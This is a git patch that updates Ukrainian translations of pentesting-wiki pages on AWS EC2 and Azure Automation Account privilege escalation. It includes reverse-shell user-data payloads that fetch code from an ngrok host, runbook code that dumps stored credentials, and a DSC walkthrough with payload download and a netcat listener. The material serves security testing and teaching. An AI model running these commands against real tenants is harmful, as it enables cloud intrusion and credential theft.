From 0387700ca4f95c16f9d0db945e4e7d7bb08b1833 Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 10 Jan 2025 12:04:17 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ --- src/SUMMARY.md | 4 +- .../aws-ec2-privesc.md | 36 ++- .../az-automation-accounts-privesc.md | 239 ++++++++++++++++++ .../az-automation-account/README.md | 170 ------------- .../az-state-configuration-rce.md | 57 ----- .../az-services/az-automation-accounts.md | 227 +++++++++++++++++ .../azure-security/az-services/vms/README.md | 50 ++-- 7 files changed, 510 insertions(+), 273 deletions(-) create mode 100644 src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md delete mode 100644 src/pentesting-cloud/azure-security/az-services/az-automation-account/README.md delete mode 100644 src/pentesting-cloud/azure-security/az-services/az-automation-account/az-state-configuration-rce.md create mode 100644 src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 42681ba62..c39a9cc91 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -406,8 +406,7 @@ - [Az - ACR](pentesting-cloud/azure-security/az-services/az-acr.md) - [Az - Application Proxy](pentesting-cloud/azure-security/az-services/az-application-proxy.md) - [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md) - - [Az - Automation Account](pentesting-cloud/azure-security/az-services/az-automation-account/README.md) - - [Az - State Configuration RCE](pentesting-cloud/azure-security/az-services/az-automation-account/az-state-configuration-rce.md) + - [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md) - [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md) - [Az - Intune](pentesting-cloud/azure-security/az-services/intune.md) - [Az - File Shares](pentesting-cloud/azure-security/az-services/az-file-shares.md) @@ -454,6 +453,7 @@ - [Az - Privilege Escalation](pentesting-cloud/azure-security/az-privilege-escalation/README.md) - [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md) - [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md) + - [Az - Automation Accounts Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md) - [Az - EntraID Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md) - [Az - Conditional Access Policies & MFA Bypass](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md) - [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md index e27672bcb..e998b3f81 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md @@ -4,7 +4,7 @@ ## EC2 -Для отримання більшої **інформації про EC2** перевірте: +Для отримання додаткової **інформації про EC2** перевірте: {{#ref}} ../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ @@ -44,7 +44,7 @@ aws ec2 run-instances --image-id --instance-type t2.micro \ #### Підвищення привілеїв до ECS -З цим набором дозволів ви також могли б **створити екземпляр EC2 і зареєструвати його в кластері ECS**. Таким чином, **сервіси** ECS будуть **запущені** в **екземплярі EC2**, до якого у вас є доступ, і тоді ви зможете проникнути в ці сервіси (контейнери docker) і **викрасти їх ролі ECS**. +З цим набором дозволів ви також можете **створити екземпляр EC2 і зареєструвати його в кластері ECS**. Таким чином, **сервіси** ECS будуть **запущені** в **екземплярі EC2**, до якого у вас є доступ, і тоді ви зможете проникнути в ці сервіси (контейнери docker) і **вкрасти їх ролі ECS**. ```bash aws ec2 run-instances \ --image-id ami-07fde2ae86109a2af \ @@ -82,33 +82,31 @@ aws iam add-role-to-instance-profile --instance-profile-name --role-name ``` Якщо **профіль екземпляра має роль** і атакуючий **не може її видалити**, є інший обхідний шлях. Він може **знайти** **профіль екземпляра без ролі** або **створити новий** (`iam:CreateInstanceProfile`), **додати** **роль** до цього **профілю екземпляра** (як обговорювалося раніше) і **асоціювати профіль екземпляра** з скомпрометованим i**нстансом:** -- Якщо екземпляр **не має жодного профілю** екземпляра (`ec2:AssociateIamInstanceProfile`) \* +- Якщо екземпляр **не має жодного профілю** екземпляра (`ec2:AssociateIamInstanceProfile`) ```bash aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id ``` -**Потенційний вплив:** Пряме підвищення привілеїв до іншої ролі EC2 (необхідно, щоб ви зламали AWS EC2 інстанцію та мали додаткові дозволи або специфічний статус профілю інстанції). +**Потенційний вплив:** Пряме підвищення привілеїв до іншої ролі EC2 (вам потрібно скомпрометувати AWS EC2 інстанс і мати додаткові дозволи або специфічний статус профілю інстансу). ### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`) -З цими дозволами можливо змінити профіль інстанції, асоційований з інстанцією, тому якщо атака вже мала доступ до інстанції, вона зможе вкрасти облікові дані для більшої кількості ролей профілю інстанції, змінивши той, що асоційований з нею. +З цими дозволами можливо змінити профіль інстансу, асоційований з інстансом, тому якщо атака вже мала доступ до інстансу, вона зможе вкрасти облікові дані для більшої кількості ролей профілю інстансу, змінивши той, що з ним асоційований. -- Якщо **є профіль інстанції**, ви можете **видалити** профіль інстанції (`ec2:DisassociateIamInstanceProfile`) і **асоціювати** його \* +- Якщо **є профіль інстансу**, ви можете **видалити** профіль інстансу (`ec2:DisassociateIamInstanceProfile`) і **асоціювати** його. ```bash aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da aws ec2 disassociate-iam-instance-profile --association-id aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id ``` -- або **замінити** **профіль екземпляра** скомпрометованого екземпляра (`ec2:ReplaceIamInstanceProfileAssociation`). \* -```` +- або **замінити** **профіль екземпляра** скомпрометованого екземпляра (`ec2:ReplaceIamInstanceProfileAssociation`). ```bash aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --association-id ``` -```` -**Потенційний вплив:** Пряме підвищення привілеїв до іншої ролі EC2 (вам потрібно скомпрометувати AWS EC2 інстанс і мати додаткові дозволи або специфічний статус профілю інстансу). +**Потенційний вплив:** Пряме підвищення привілеїв до іншої ролі EC2 (вам потрібно скомпрометувати AWS EC2 інстанс та мати додаткові дозволи або специфічний статус профілю інстансу). ### `ec2:RequestSpotInstances`,`iam:PassRole` -Зловмисник з дозволами **`ec2:RequestSpotInstances`та`iam:PassRole`** може **запросити** **Spot Instance** з **прикріпленою роллю EC2** та **реверс-шеллом** у **даних користувача**.\ +Зловмисник з дозволами **`ec2:RequestSpotInstances`та`iam:PassRole`** може **запросити** **Spot Instance** з **прикріпленою роллю EC2** та **rev shell** в **даних користувача**.\ Після запуску інстансу він може **викрасти IAM роль**. ```bash REV=$(printf '#!/bin/bash @@ -123,7 +121,7 @@ aws ec2 request-spot-instances \ Зловмисник з **`ec2:ModifyInstanceAttribute`** може змінювати атрибути екземплярів. Серед них він може **змінити дані користувача**, що означає, що він може змусити екземпляр **виконувати довільні дані.** Це може бути використано для отримання **rev shell до EC2 екземпляра**. -Зверніть увагу, що атрибути можна **змінювати лише коли екземпляр зупинено**, тому **дозволи** **`ec2:StopInstances`** та **`ec2:StartInstances`**. +Зверніть увагу, що атрибути можна **змінювати лише тоді, коли екземпляр зупинено**, тому **дозволи** **`ec2:StopInstances`** та **`ec2:StartInstances`**. ```bash TEXT='Content-Type: multipart/mixed; boundary="//" MIME-Version: 1.0 @@ -164,7 +162,7 @@ aws ec2 start-instances --instance-ids $INSTANCE_ID ### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate` -Зловмисник з правами **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`та `ec2:ModifyLaunchTemplate`** може створити **нову версію шаблону запуску** з **реверсною оболонкою** в **даних користувача** та **будь-якою EC2 IAM роллю на ньому**, змінити версію за замовчуванням, і **будь-яка група Autoscaler**, **яка використовує** цей **шаблон запуску**, що **налаштований** на використання **останній** або **версії за замовчуванням**, буде **знову запускати екземпляри**, використовуючи цей шаблон, і виконає реверсну оболонку. +Зловмисник з правами **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`та `ec2:ModifyLaunchTemplate`** може створити **нову версію шаблону запуску** з **реверсною оболонкою** в **даних користувача** та **будь-якою EC2 IAM роллю на ньому**, змінити версію за замовчуванням, і **будь-яка група Autoscaler**, **яка використовує** цей **шаблон запуску**, що **налаштована** на використання **останній** або **версії за замовчуванням**, буде **перезапускати екземпляри**, використовуючи цей шаблон, і виконає реверсну оболонку. ```bash REV=$(printf '#!/bin/bash curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash @@ -213,7 +211,7 @@ aws ec2-instance-connect send-ssh-public-key \ --instance-os-user "ec2-user" \ --ssh-public-key "file://$PUBK_PATH" ``` -**Потенційний вплив:** Пряме підвищення привілеїв до IAM ролей EC2, прикріплених до запущених інстансів. +**Потенційний вплив:** Пряме підвищення привілеїв до IAM ролей EC2, прикріплених до запущених екземплярів. ### `ec2-instance-connect:SendSerialConsoleSSHPublicKey` @@ -231,13 +229,13 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \ ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws ``` -Цей спосіб не є особливо корисним для підвищення привілеїв, оскільки вам потрібно знати ім'я користувача та пароль для його експлуатації. +Цей спосіб не є особливо корисним для privesc, оскільки вам потрібно знати ім'я користувача та пароль, щоб його експлуатувати. -**Потенційний вплив:** (Високо неперевірений) Пряме підвищення привілеїв до EC2 IAM ролей, прикріплених до запущених екземплярів. +**Потенційний вплив:** (Дуже непереконливо) Прямий privesc до EC2 IAM ролей, прикріплених до запущених екземплярів. ### `describe-launch-templates`,`describe-launch-template-versions` -Оскільки шаблони запуску мають версії, зловмисник з правами **`ec2:describe-launch-templates`** та **`ec2:describe-launch-template-versions`** може експлуатувати їх для виявлення чутливої інформації, такої як облікові дані, присутні в даних користувача. Для цього наступний скрипт проходить через усі версії доступних шаблонів запуску: +Оскільки шаблони запуску мають версії, зловмисник з правами **`ec2:describe-launch-templates`** та **`ec2:describe-launch-template-versions`** може експлуатувати їх для виявлення чутливої інформації, такої як облікові дані, присутні в даних користувача. Щоб досягти цього, наступний скрипт проходить через усі версії доступних шаблонів запуску: ```bash for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId') do @@ -250,13 +248,13 @@ echo done | grep -iE "aws_|password|token|api" done ``` -У наведених вище командах, хоча ми вказуємо певні шаблони (`aws_|password|token|api`), ви можете використовувати інший regex для пошуку інших типів чутливої інформації. +У наведених командах, хоча ми вказуємо певні шаблони (`aws_|password|token|api`), ви можете використовувати інший regex для пошуку інших типів чутливої інформації. Припустимо, ми знаходимо `aws_access_key_id` та `aws_secret_access_key`, ми можемо використовувати ці облікові дані для автентифікації в AWS. **Потенційний вплив:** Пряме підвищення привілеїв до IAM користувача(ів). -## Посилання +## References - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md new file mode 100644 index 000000000..138b84d4a --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md @@ -0,0 +1,239 @@ +# Az - Azure Automation Accounts Privesc + +{{#include ../../../banners/hacktricks-training.md}} + +## Azure Automation Accounts + +Для отримання додаткової інформації перегляньте: + +{{#ref}} +../az-services/az-automation-accounts.md +{{#endref}} + +### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`) + +У підсумку, ці дозволи дозволяють **створювати, змінювати та виконувати Runbooks** в Обліковому записі автоматизації, які ви можете використовувати для **виконання коду** в контексті Облікового запису автоматизації та ескалації привілеїв до призначених **Управляємих ідентичностей** та витоку **облікових даних** і **зашифрованих змінних**, збережених в Обліковому записі автоматизації. + +Дозвіл **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** дозволяє змінювати код Runbook в Обліковому записі автоматизації, використовуючи: +```bash +# Update the runbook content with the provided PowerShell script +az automation runbook replace-content --no-wait \ +--resource-group Resource_Group_1 \ +--automation-account-name autoaccount1 \ +--name AzureAutomationTutorialWithIdentity \ +--content '$creds = Get-AutomationPSCredential -Name "" +$runbook_variable = Get-AutomationVariable -Name "" +$runbook_variable +$creds.GetNetworkCredential().username +$creds.GetNetworkCredential().password' +``` +Зверніть увагу, як попередній скрипт може бути використаний для **витоку імені користувача та пароля** облікових даних і значення **зашифрованої змінної**, збереженої в Обліковому записі автоматизації. + +Дозвіл **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** дозволяє користувачу публікувати Runbook в Обліковому записі автоматизації, щоб зміни були застосовані: +```bash +az automation runbook publish \ +--resource-group \ +--automation-account-name \ +--name +``` +Дозвіл **`Microsoft.Automation/automationAccounts/jobs/write`** дозволяє користувачу виконувати Runbook в Обліковому записі автоматизації за допомогою: +```bash +az automation runbook start --automation-account-name --resource-group --name +``` +Дозвіл **`Microsoft.Automation/automationAccounts/jobs/output/read`** дозволяє користувачу читати вихідні дані роботи в Обліковому записі автоматизації за допомогою: +```bash +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobs//output?api-version=2023-11-01" +``` +Якщо Runbooks не створені, або ви хочете створити новий, вам знадобляться **дозволи `Microsoft.Resources/subscriptions/resourcegroups/read` та `Microsoft.Automation/automationAccounts/runbooks/write`** для цього, використовуючи: +```bash +az automation runbook create --automation-account-name --resource-group --name --type PowerShell +``` +### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` + +Ця дозволяє користувачу **призначити керовану ідентичність користувача** для Облікового запису автоматизації за допомогою: +```bash +az rest --method PATCH \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts/?api-version=2020-01-13-preview" \ +--headers "Content-Type=application/json" \ +--body '{ +"identity": { +"type": "UserAssigned", +"userAssignedIdentities": { +"/subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/": {} +} +} +}' +``` +### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write` + +З дозволом **`Microsoft.Automation/automationAccounts/schedules/write`** можливо створити новий графік у обліковому записі автоматизації, який виконується кожні 15 хвилин (не дуже приховано) за допомогою наступної команди. + +Зверніть увагу, що **мінімальний інтервал для графіка становить 15 хвилин**, а **мінімальний час початку - 5 хвилин** у майбутньому. +```bash +## For linux +az automation schedule create \ +--resource-group \ +--automation-account-name \ +--name \ +--description "Triggers runbook every minute" \ +--start-time "$(date -u -d "7 minutes" +%Y-%m-%dT%H:%M:%SZ)" \ +--frequency Minute \ +--interval 15 + +## Form macOS +az automation schedule create \ +--resource-group \ +--automation-account-name \ +--name \ +--description "Triggers runbook every 15 minutes" \ +--start-time "$(date -u -v+7M +%Y-%m-%dT%H:%M:%SZ)" \ +--frequency Minute \ +--interval 15 +``` +Тоді, з дозволом **`Microsoft.Automation/automationAccounts/jobSchedules/write`** можливо призначити планувальник для runbook за допомогою: +```bash +az rest --method PUT \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \ +--headers "Content-Type=application/json" \ +--body '{ +"properties": { +"runOn": "", +"runbook": { +"name": "" +}, +"schedule": { +"name": ">" +}, +"parameters": {} +} +}' +``` +> [!TIP] +> У попередньому прикладі ідентифікатор jobchedule був залишений як **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` як приклад** але вам потрібно буде використовувати довільне значення для створення цього призначення. + +### `Microsoft.Automation/automationAccounts/webhooks/write` + +З дозволом **`Microsoft.Automation/automationAccounts/webhooks/write`** можливо створити новий Webhook для Runbook всередині Automation Account, використовуючи наступну команду. + +Зверніть увагу, що вам потрібно буде **вказати URI вебхука** з токеном для використання. +```bash +az rest --method PUT \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//webhooks/?api-version=2018-06-30" \ +--body '{ +"name": "", +"properties": { +"isEnabled": true, +"expiryTime": "2026-01-09T20:03:30.291Z", +"parameters": {}, +"runOn": null, +"runbook": { +"name": "" +}, +"uri": "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" +} +}' + +# Then, to call the runbook using the webhook +curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \ +-H "Content-Length: 0" +``` +### `Microsoft.Automation/automationAccounts/runbooks/draft/write` + +Просто з дозволом `Microsoft.Automation/automationAccounts/runbooks/draft/write` можливо **оновити код Runbook** без його публікації та запустити його за допомогою наступних команд. +```bash +# Update the runbook content with the provided PowerShell script +az automation runbook replace-content --no-wait \ +--resource-group Resource_Group_1 \ +--automation-account-name autoaccount1 \ +--name AzureAutomationTutorialWithIdentity \ +--content 'echo "Hello World"' + +# Run the unpublished code +az rest \ +--method PUT \ +--url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob?api-version=2023-05-15-preview" \ +--headers "Content-Type=application/json" \ +--body '{ +"parameters": {}, +"runOn": "", +"runtimeEnvironment": "PowerShell-5.1" +}' + +# Get the output (a different permission is needed here, but you could get a revershell or exfiltrate the token to avoid needing this permission) +az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob/streams?api-version=2019-06-01" +``` +### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`) + +Ця дозволяє користувачу **налаштувати контроль версій** для облікового запису автоматизації, використовуючи команди, такі як наступні (це використовує Github як приклад): +```bash +az automation source-control create \ +--resource-group \ +--automation-account-name \ +--name RemoteGithub \ +--repo-url https://github.com/carlospolop/gh-runbooks.git \ +--branch main \ +--folder-path /runbooks/ \ +--publish-runbook true \ +--auto-sync \ +--source-type GitHub \ +--token-type PersonalAccessToken \ +--access-token github_pat_11AEDCVZ +``` +Це автоматично імпортує runbooks з репозиторію Github до Облікового запису автоматизації, і з деякими іншими дозволами для їх запуску **можливо підвищити привілеї**. + +Більше того, пам'ятайте, що для роботи з контролем версій в Облікових записах автоматизації він повинен мати керовану ідентичність з роллю **`Contributor`**, і якщо це керована користувачем ідентичність, це також можна налаштувати, встановивши в змінній **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** **ідентифікатор клієнта** керованої користувачем ідентичності для використання. + +> [!TIP] +> Зверніть увагу, що неможливо змінити URL репозиторію контролю версій після його створення. + +### Користувацькі середовища виконання + +Якщо обліковий запис автоматизації використовує користувацьке середовище виконання, може бути можливим перезаписати користувацький пакет середовища з деяким шкідливим кодом (наприклад, **задня двері**). Таким чином, щоразу, коли виконується runbook, що використовує це користувацьке середовище, і завантажується користувацький пакет, шкідливий код буде виконано. + +### Компрометація конфігурації стану + +**Перегляньте повну публікацію за адресою:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe) + +- Крок 1 — Створення файлів + +**Необхідні файли:** Потрібні два скрипти PowerShell: +1. `reverse_shell_config.ps1`: Файл конфігурації бажаного стану (DSC), який отримує та виконує payload. Його можна отримати з [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1). +2. `push_reverse_shell_config.ps1`: Скрипт для публікації конфігурації на VM, доступний на [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1). + +**Налаштування:** Змінні та параметри в цих файлах повинні бути адаптовані до конкретного середовища користувача, включаючи імена ресурсів, шляхи до файлів та ідентифікатори серверів/payload. + +- Крок 2 — Стиснення файлу конфігурації + +`reverse_shell_config.ps1` стискається в файл `.zip`, що робить його готовим для передачі до Облікового запису Azure Storage. +```powershell +Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip +``` +- Крок 3 — Встановлення контексту зберігання та завантаження + +Стиснутий файл конфігурації завантажується в заздалегідь визначений контейнер Azure Storage, azure-pentest, за допомогою cmdlet Set-AzStorageBlobContent від Azure. +```powershell +Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx +``` +- Крок 4 — Підготовка Kali Box + +Сервер Kali завантажує корисне навантаження RevPS.ps1 з репозиторію GitHub. +```bash +wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1 +``` +Скрипт редагується для вказівки цільової Windows VM та порту для зворотного шеллу. + +- Крок 5 — Опублікувати файл конфігурації + +Файл конфігурації виконується, в результаті чого скрипт зворотного шеллу розгортається у вказаному місці на Windows VM. + +- Крок 6 — Хостинг корисного навантаження та налаштування прослуховувача + +Запускається Python SimpleHTTPServer для хостингу корисного навантаження, разом з прослуховувачем Netcat для захоплення вхідних з'єднань. +```bash +sudo python -m SimpleHTTPServer 80 +sudo nc -nlvp 443 +``` +Заплановане завдання виконує корисне навантаження, досягаючи привілеїв рівня SYSTEM. + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-automation-account/README.md b/src/pentesting-cloud/azure-security/az-services/az-automation-account/README.md deleted file mode 100644 index 4f7e8ca1c..000000000 --- a/src/pentesting-cloud/azure-security/az-services/az-automation-account/README.md +++ /dev/null @@ -1,170 +0,0 @@ -# Az - Automation Account - -{{#include ../../../../banners/hacktricks-training.md}} - -## Основна інформація - -[З документації:](https://learn.microsoft.com/en-us/azure/automation/overview) Azure Automation надає хмарну автоматизацію, оновлення операційної системи та службу конфігурації, яка підтримує послідовне управління у ваших Azure та не-Azure середовищах. Вона включає автоматизацію процесів, управління конфігурацією, управління оновленнями, спільні можливості та гетерогенні функції. - -Це схоже на "**планові завдання**" в Azure, які дозволяють вам виконувати дії (дії або навіть скрипти) для **управління**, перевірки та налаштування **середовища Azure**. - -### Обліковий запис Run As - -Коли використовується **Run as Account**, він створює Azure AD **додаток** з самопідписаним сертифікатом, створює **сервісний принципал** і призначає роль **Contributor** для облікового запису в **поточній підписці** (багато привілеїв).\ -Microsoft рекомендує використовувати **Managed Identity** для Automation Account. - -> [!WARNING] -> Це буде **видалено 30 вересня 2023 року і змінено на Managed Identities.** - -## Runbooks & Jobs - -**Runbooks** дозволяють вам **виконувати довільний код PowerShell**. Це може бути **зловжито зловмисником** для викрадення дозволів **прикріпленого принципала** (якщо такий є).\ -У **коді** **Runbooks** ви також можете знайти **чутливу інформацію** (таку як облікові дані). - -Якщо ви можете **читати** **завдання**, зробіть це, оскільки вони **містять** **вихідні дані** виконання (потенційно **чутливу інформацію**). - -Перейдіть до `Automation Accounts` --> `` --> `Runbooks/Jobs/Hybrid worker groups/Watcher tasks/credentials/variables/certificates/connections` + +**Завдання** - це екземпляр виконання Runbook. Коли ви запускаєте Runbook, створюється завдання для відстеження цього виконання. Кожне завдання включає: + +- **Status**: У черзі, Виконується, Завершено, Не вдалося, Призупинено. +- **Output**: Результат виконання Runbook. +- **Start and End Time**: Коли завдання почалося і завершилося. + +Завдання містить **вихідні дані** виконання **Runbook**. Якщо ви можете **читати** **завдання**, зробіть це, оскільки вони **містять** **вихідні дані** виконання (можливу **чутливу інформацію**). + +### Schedules & Webhooks + +Існує 3 основні способи виконання Runbook: + +- **Schedules**: Використовуються для **тригера** Runbooks у **вказаний час** або **інтервал**. +- **Webhooks**: Це **HTTP кінцеві точки**, які можуть бути використані для **тригера** Runbooks з **зовнішніх сервісів**. Зверніть увагу, що URL вебхука **не видимий** після створення. +- **Manual Trigger**: Ви можете **вручну запустити** Runbook з Azure Portal і з CLI. + +### Source Control + +Дозволяє імпортувати Runbooks з **Github, Azure Devops (Git) та Azure Devops (TFVC)**. Можна вказати, щоб опублікувати Runbooks з репозиторію в обліковий запис автоматизації Azure, а також можна вказати, щоб **синхронізувати зміни з репозиторію** в обліковий запис автоматизації Azure. + +Коли синхронізація увімкнена, у **репозиторії Github створюється вебхук** для тригера синхронізації щоразу, коли відбувається подія push. Приклад URL вебхука: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d` + +Зверніть увагу, що ці вебхуки **не будуть видимі** при переліку вебхуків у пов'язаних runbooks до репозиторію Github. Також зверніть увагу, що **не можливо змінити URL репозиторію** джерела контролю після його створення. + +Для того, щоб налаштований контроль джерела працював, **Azure Automation Account** повинен мати керовану ідентичність (системну або користувацьку) з роллю **`Contributor`**. Більше того, щоб призначити користувацьку керовану ідентичність обліковому запису автоматизації, це можна зробити, просто встановивши змінну **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** на **ID клієнта користувацької керованої ідентичності**. + +### Runtime Environments + +При створенні Runbook можна вибрати середовище виконання. За замовчуванням доступні такі середовища виконання: + +- **Powershell 5.1** +- **Powershell 7.1** +- **PowerShell 7.2** +- **Python 3.10** +- **Python 3.8** +- **Python 2.7** + +Однак також можливо **створити свої власні середовища**, використовуючи одне з цих як основу. У випадку з Python можливо завантажити `.whl` пакети в середовище, яке буде використовуватися. У випадку з PowerShell можливо завантажити `.zip` пакети з модулями, які потрібно мати в середовищі виконання. + +### Hybrid Worker + +Runbook може виконуватися в **контейнері всередині Azure** або в **Hybrid Worker** (не Azure машина).\ +**Log Analytics Agent** розгортається на ВМ, щоб зареєструвати його як гібридного працівника.\ +Завдання гібридного працівника виконуються як **SYSTEM** на Windows і **nxautomation** обліковий запис на Linux.\ +Кожен гібридний працівник зареєстрований у **групі гібридних працівників**. + +Отже, якщо ви можете вибрати виконання **Runbook** на **Windows Hybrid Worker**, ви будете виконувати **произвольні команди** на зовнішній машині як **System** (гарна техніка повороту). + +### State Configuration (SC) + +>[!WARNING] +> Як зазначено в [документації](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview), Azure Automation State Configuration буде знято з обслуговування 30 вересня 2027 року і замінено на [Azure Machine Configuration](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview). + +Облікові записи автоматизації також підтримують **State Configuration (SC)**, що є функцією, яка допомагає **конфігурувати** та **підтримувати** **стан** ваших ВМ. Можна **створювати** та **застосовувати** конфігурації DSC до **Windows** та **Linux** машин. + +З точки зору атакуючого це було цікаво, оскільки це дозволяло **виконувати произвольний PS код на всіх налаштованих ВМ**, що дозволяло підвищувати привілеї до керованих ідентичностей цих ВМ, потенційно переходячи до нових мереж... Також конфігурації могли містити **чутливу інформацію**. + +## Enumeration +```bash +# List Automation Accounts +az automation account list --output table + +# Get Automation Account details +# Check the network access in `privateEndpointConnections` and `publicNetworkAccess` +# Check the managed identities in `identity` +az automation account show --name --resource-group + +# Get keys of automation account +## These are used for the DSC +az automation account list-keys --automation-account-name --resource-group + +# Get schedules of automation account +az automation schedule list --automation-account-name --resource-group + +# Get connections of automation account +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//connections?api-version=2023-11-01" + +# Get connection details +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//connections/?api-version=2023-11-01" + +# Get credentials of automation account +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//credentials?api-version=2023-11-01" + +# Get credential details +## Note that you will only be able to access the password from inside a Runbook +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//credentials/?api-version=2023-11-01" + +# Get certificates of automation account +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//certificates?api-version=2023-11-01" + +# Get certificate details +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//certificates/?api-version=2023-11-01" + +# Get variables of automation account +## It's possible to get the value of unencrypted variables but not the encrypted ones 